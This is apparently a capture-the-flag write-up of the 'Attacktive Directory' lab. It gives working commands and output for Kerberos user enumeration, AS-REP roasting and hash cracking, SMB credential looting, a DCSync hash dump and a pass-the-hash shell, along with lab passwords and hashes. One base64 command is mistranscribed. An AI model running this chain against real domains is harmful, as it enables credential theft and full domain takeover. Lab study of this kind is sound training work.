Attacktive Directory

Scanning

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-25
11:22:54Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
spookysec.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
spookysec.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-24T11:17:10
| Not valid after:  2026-01-23T11:17:10
| MD5:   27846e6bbce6ca583c129fe4783e515a
|_SHA-1: c5bd542e6d652afcf90f4c9b855cbbaf53efb18e
|_ssl-date: 2025-07-25T11:23:56+00:00; -1s from scanner time.
| rdp-ntlm-info:
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-07-25T11:23:45+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
```

```
49701/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
|   date: 2025-07-25T11:23:47
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
```

spookysec.local

Enumération

kerbrute

kerbrute userenum --dc 10.10.11.42 -d spookysec.local userlist.txt

```
2025/07/25 13:34:08 >  [+] VALID USERNAME:   james@spookysec.local
2025/07/25 13:34:10 >  [+] VALID USERNAME:   svc-admin@spookysec.local
2025/07/25 13:34:12 >  [+] VALID USERNAME:   James@spookysec.local
2025/07/25 13:34:13 >  [+] VALID USERNAME:   robin@spookysec.local
2025/07/25 13:34:22 >  [+] VALID USERNAME:   darkstar@spookysec.local
2025/07/25 13:34:30 >  [+] VALID USERNAME:   administrator@spookysec.local
2025/07/25 13:34:43 >  [+] VALID USERNAME:   backup@spookysec.local
2025/07/25 13:34:47 >  [+] VALID USERNAME:   paradox@spookysec.local
```

- username >> users.txt

Exploitation

AS-REP

GetNPUsers.py spookysec.local/ -no-pass -usersfile users.txt -dc-ip 10.10.11.42

> **Note**
>
> *L'utilisateur vulnérable à l'option Kerberos pré-auth désactivé*

```
$krb5asrep$23$svc-
admin@SPOOKYSEC.LOCAL:c3b0060f25f84b24ac692470249f8fef$793dea0b511d0cf4380f48916c29a
0bf24f38a55d24dddbd7924396ba30420ae185b84ad1c33f96ecd80ad92d18b665a4d88a5b6d7d7587c2
7917e4ffc1d32cf54020924e1c3a5287be531bc7aa4cc59e72bf15963c911917e3d3ceb3be3a71e6d1a6
6626692320f07804c8f83adf1f7d8efb57fbb064d88f6c54ae1c8141dee3d1e74a560e82dc40d6c3ba1c
e56e3cc3b36b62216242710542f887199ed99b93616706307b588991cf20e560e214327e5ca065038256
16df2e04e7ade29b3d3a4a7c080478fdca3a7c3f8699898f3bb4c9e1293342e455b8a0dac0887904113f
6bf4321abf9fd3cf64dc2dc91dae9d332db
```

crack the hash

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt

```
$krb5asrep$23$svc-
admin@SPOOKYSEC.LOCAL:c3b0060f25f84b24ac692470249f8fef$793dea0b511d0cf4380f48916c29a
0bf24f38a55d24dddbd7924396ba30420ae185b84ad1c33f96ecd80ad92d18b665a4d88a5b6d7d7587c2
7917e4ffc1d32cf54020924e1c3a5287be531bc7aa4cc59e72bf15963c911917e3d3ceb3be3a71e6d1a6
6626692320f07804c8f83adf1f7d8efb57fbb064d88f6c54ae1c8141dee3d1e74a560e82dc40d6c3ba1c
e56e3cc3b36b62216242710542f887199ed99b93616706307b588991cf20e560e214327e5ca065038256
16df2e04e7ade29b3d3a4a7c080478fdca3a7c3f8699898f3bb4c9e1293342e455b8a0dac0887904113f
6bf4321abf9fd3cf64dc2dc91dae9d332db:management2005
```

- management2005

enumération svc-admin

On retourne à l'énumération :

- svc-admin
- management2005

smbmap

smbmap -u svc-admin -p 'management2005' -H "10.10.11.42"

```
    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __  "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.11.42:445 Name: spookysec.local       Status: Authenticated
    Disk                                                    Permissions Comment
    ----                                                    ----------- -------
    ADMIN$                                                  NO ACCESS   Remote Admin
    backup                                                  READ ONLY
    C$                                                      NO ACCESS   Default share
    IPC$                                                    READ ONLY   Remote IPC
    NETLOGON                                                READ ONLY   Logon server
share
    SYSVOL                                                  READ ONLY   Logon server
share
[*] Closed 1 connections
```

smbclient //10.10.11.42/backup -U spookysec.local/svc-admin

```
[Jul 25, 2025 - 13:52:36 ] THM_machines /workspace →  cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw#
```

- YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

décode base64

echo 'YmFja3VwQHNwb29reXNlY5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d

```
backup@spookysec.local:backup2517860
```

on a un password

- backup
- backup2517860

Elevating Privileges

le compte backup dispose d'autorisations pour avoir la réplication avec l'AD, il a les mots de passe des utilisateurs hashés.

secretsdump.py -just-dc *backup@spookysec.local*

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:
::
```

- NTLM hash : 0e0363213e37b94221497260b0bcb4fc

```
[Jul 25, 2025 - 14:07:02 ] THM_machines /workspace →  evil-winrm -u "Administrator" -H 0e0363213e37b94221497260b0bcb4fc -i "10.10.11.42"

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd "C:/Users/Administrator/Desktop/"
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         4/4/2020  11:39 AM             32 root.txt
```